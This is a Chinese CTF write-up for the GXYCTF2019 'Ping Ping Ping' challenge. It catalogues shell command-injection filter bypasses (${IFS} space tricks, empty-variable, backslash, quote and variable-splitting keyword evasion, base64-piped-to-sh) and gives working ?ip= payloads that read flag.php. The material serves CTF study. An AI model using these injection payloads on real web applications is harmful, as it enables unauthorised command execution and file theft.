GXYCTF2019 Ping Ping Ping

# 0x00 绕过空格的几种方式

cat flag.php
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php

image-20210607105245039

# 0x01 绕过关键字过滤的几种形式

  • 空变量
ca${21}t flag.php
使用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t flag.php

image-20210607104611351

  • 反斜杠

ca\t flag.php

image-20210607104553981

  • 变量替换

a=ca;b=t;c=ip.txt;ab $c

image-20210607104542613

  • 引号 c'a't flag.php

image-20210607104527303

  • base64 编码绕过

echo Y2F0IGZsYWcucGhw|base64 -d|sh

image-20210607105017383

  • 通配符?*

image-20210607104456710

image-20210607104711623

# 0x03 命令分割与执行多条命令

命令分隔与执行多条命令

1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

处理无回显的命令执行
利用 ceye 平台

# 解题方法一 内联执行

payload

?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
?ip=1;a=f;d=ag;c=l;cat$IFS$9$a$c$d.php

# 解题方法二 sh,bash 下编码

payload

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝